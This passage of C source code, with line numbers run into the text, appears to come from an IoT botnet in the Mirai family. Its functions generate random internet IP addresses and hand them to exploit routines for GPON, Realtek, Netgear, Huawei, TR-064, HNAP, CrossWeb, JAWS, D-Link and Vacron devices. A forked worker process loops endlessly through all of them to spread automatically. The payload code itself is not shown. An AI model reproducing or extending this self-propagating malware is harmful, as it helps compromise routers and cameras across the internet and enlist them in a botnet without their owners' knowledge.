ipState[18], ipState[19]);511512exploit_socket_huawei(huawei_ip1);513exploit_socket_huawei(huawei_ip2);514exploit_socket_huawei(huawei_ip3);515exploit_socket_huawei(huawei_ip4);516exploit_socket_huawei(huawei_ip5);517}518519void TR064_IPGen()520{521char tr_ip1[16] = {0};522523srand(time(NULL));524ipState[0] = rand() % 233;ipState[1] = rand() % 255;525ipState[2] = rand() % 255;ipState[3] = rand() % 255;526527sprintf(tr_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);528529exploit_socket_tr064(tr_ip1);530}531532void HNAP_IPGen()533{534char hnap_ip1[16] = {0};535536srand(time(NULL));537ipState[0] = rand() % 233;ipState[1] = rand() % 255;538ipState[2] = rand() % 255;ipState[3] = rand() % 255;539540sprintf(hnap_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);541542exploit_socket_hnap(hnap_ip1);543}544545void CROSSWEB_IPGen()546{547char crossweb_ip1[16] = {0};548549srand(time(NULL));550ipState[0] = rand() % 233;ipState[1] = rand() % 255;551ipState[2] = rand() % 255;ipState[3] = rand() % 255;552553sprintf(crossweb_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);554555exploit_socket_crossweb(crossweb_ip1);556}557558void JAWS_IPGen()559{560char jaws_ip1[16] = {0};561562srand(time(NULL));563ipState[0] = rand() % 233;ipState[1] = rand() % 255;564ipState[2] = rand() % 255;ipState[3] = rand() % 255;565566sprintf(jaws_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);567568exploit_socket_jaws(jaws_ip1);569}570571void DLINK_IPGen()572{573char dlink_ip1[16] = {0};574575srand(time(NULL));576ipState[0] = rand() % 233;ipState[1] = rand() % 255;577ipState[2] = rand() % 255;ipState[3] = rand() % 255;578579sprintf(dlink_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);580581exploit_socket_dlink(dlink_ip1);582}583584void R7000_IPGen()585{586char r7000_ip1[16] = {0};587588srand(time(NULL));589ipState[0] = rand() % 233;ipState[1] = rand() % 255;590ipState[2] = rand() % 255;ipState[3] = rand() % 255;591592sprintf(r7000_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);593594exploit_socket_r7064(r7000_ip1);595}596597void VARCON_IPGen()598{599char varcon_ip1[16] = {0};600601srand(time(NULL));602ipState[0] = rand() % 233;ipState[1] = rand() % 255;603ipState[2] = rand() % 255;ipState[3] = rand() % 255;604605sprintf(varcon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);606607exploit_socket_vacron(varcon_ip1);608}609610void exploit_worker(void)611{612int i = 0;613exploit_pid = fork();614615if (exploit_pid > 0 || exploit_pid == -1)616return;617restart:618i++;619if (i > 10)620{621#ifdef DEBUG622printf("[sleep] active for 12 sec\n");623#endif624sleep(12);625i = i - 10;626goto restart;627}628usleep(300000);629GPON8080_IPGen();630usleep(300000);631GPON80_IPGen();632usleep(300000);633REALTEK_IPGen();634usleep(300000);635NETGEAR_IPGen();636usleep(300000);637HUAWEI_IPGen();638usleep(300000);639TR064_IPGen();640usleep(300000);641HNAP_IPGen();642usleep(300000);643CROSSWEB_IPGen();644usleep(300000);645JAWS_IPGen();646usleep(300000);647DLINK_IPGen();648usleep(300000);649R7000_IPGen();650usleep(300000);651VARCON_IPGen();652goto restart;653}654655void exploit_kill(void)656{657kill(exploit_pid, 9);658}659660#endif661662663